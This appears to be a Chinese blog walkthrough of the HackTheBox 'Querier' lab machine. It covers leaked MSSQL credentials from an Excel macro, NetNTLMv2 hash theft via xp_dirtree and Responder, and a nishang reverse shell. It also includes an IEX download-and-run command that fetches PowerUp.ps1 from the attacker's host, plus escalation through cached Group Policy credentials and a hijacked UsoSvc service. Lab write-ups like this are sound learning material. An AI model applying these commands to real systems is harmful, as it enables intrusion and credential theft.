HackTheBox-windows-Querier

admin 2021年7月4日00:52:24评论54 views字数 2296阅读7分39秒阅读模式

大余安全  

一个每日分享渗透小技巧的公众号HackTheBox-windows-Querier



大家好,这里是 大余安全 的第 83 篇文章,本公众号会每日分享攻防渗透技术给大家。



HackTheBox-windows-Querier

靶机地址:https://www.hackthebox.eu/home/machines/profile/175

靶机难度:中级(5.0/10)

靶机发布日期:2019年5月29日

靶机描述:

Querier is a medium difficulty Windows box which has an Excel spreadsheet in a world-readable file share. The spreadsheet has macros, which connect to MSSQL server running on the box. The SQL server can be used to request a file through which NetNTLMv2 hashes can be leaked and cracked to recover the plaintext password. After logging in, PowerUp can be used to find Administrator credentials in a locally cached group policy file.


请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

HackTheBox-windows-Querier



一、信息收集

HackTheBox-windows-Querier


HackTheBox-windows-Querier

可以看到靶机的IP是10.10.10.125....

HackTheBox-windows-Querier

在其他常见端口之间有SMB和WinRM,MS-sql也正在运行,这确认该域是HTB.LOCAL...(和昨天那台靶机差不多?)

HackTheBox-windows-Querier

查看运行了哪些共享...看到了Reports共享...进去看看

HackTheBox-windows-Querier

在reports共享发现了"Currency Volume Report.xlsm"文件...下载到本地发现这好像不是xlsm文件...解压发现存在很多子文件...开始一个一个查看...

HackTheBox-windows-Querier

查看vbaProject.bin,在顶部附近找到带有凭据的连接字符串...

Uid=reporting;Pwd=PcwTWTHRwryjc$c6....这是MSsql的ID和密匙...

可以使用impacket mssqlclient模块连接到该靶机的MSSQL下...

HackTheBox-windows-Querier

mssqlclient.py -windows-auth reporting:PcwTWTHRwryjc$c6@10.10.10.125

利用mssqlclient模块进来了...

发现不是SA用户...无权限使用一些常规命令...查看了用户情况,果然是无权限的...

虽然无法使用xp_cmdshell执行命令,但可以通过使用xp_dirtree或xp_fileexist来窃取SQL服务帐户的哈希...

HackTheBox-windows-Querier

开启responder,然后xp_dirtree窃取了SQL服务的哈希值...

HackTheBox-windows-Querier

通过john破解哈希值..获得了密码...ID是mssql-svc

HackTheBox-windows-Querier

通过ID和密匙进来了...

查询后,返回true,可以使用xp_cmdshell

HackTheBox-windows-Querier

这里可以开始提权了...利用nishang模块里的Invoke-PowerShellTcp即可

HackTheBox-windows-Querier

成功获得反向外壳...

HackTheBox-windows-Querier

以为有坑...很正常的就获得了user信息...(和NO80有关系吧,这里的方法和前面的一样~~)

git clone https://github.com/PowerShellMafia/PowerSploit.git

PowerSploit模块功能非常强大...我试过绕过防病毒模块...提权

这里准备利用PowerUp.ps1放到靶机服务器上进行扫描枚举...

HackTheBox-windows-Querier

已准备好...

HackTheBox-windows-Querier

IEX(New-Object Net.Webclient).downloadString('http://10.10.14.10/PowerUp.ps1'); Invoke-AllChecks

开始枚举...这里发现有点问题,重新执行了下...

HackTheBox-windows-Querier

看到管理员凭据已缓存在Groups.xml文件中...

这里根据昨天朋友圈小伙伴的提醒,因为445端口开放着,我这里就使用了psexec.py进行获取shell...

HackTheBox-windows-Querier

嗯,成功获得了system管理员权限...

HackTheBox-windows-Querier

成功获得了root信息...



HackTheBox-windows-Querier

方法2:

HackTheBox-windows-Querier



HackTheBox-windows-Querier

Invoke-AllChecks输出中,还可以看到有权写入UsoSvc服务...true

HackTheBox-windows-Querier

sc.exe qc UsoSvc检查服务状态...

这里将修改服务的二进制路径...注入NC服务,然后提权...

HackTheBox-windows-Querier

HackTheBox-windows-Querier

可以看到,获得了管理员权限...但是10秒左右就断开了...

HackTheBox-windows-Querier

检查了会,重启服务后...在开启...


HackTheBox-windows-Querier

还是存在10~20秒自动中断的现象,但是几秒足够获得root信息了...这不影响,确确实实存在该问题!!


这里还可以利用文本形式写入UsoSvc服务中,直接读取任何管理员底层的信息...在谈就到骇客了,谈远了


由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台中等的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

HackTheBox-windows-Querier



如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

HackTheBox-windows-Querier
HackTheBox-windows-Querier


HackTheBox-windows-Querier


随缘收徒中~~随缘收徒中~~随缘收徒中~~


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

HackTheBox-windows-Querier

大余安全

一个全栈渗透小技巧的公众号

HackTheBox-windows-Querier



本文始发于微信公众号(大余安全):HackTheBox-windows-Querier

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月4日00:52:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-windows-Querierhttps://cn-sec.com/archives/412751.html

发表评论

匿名网友 填写信息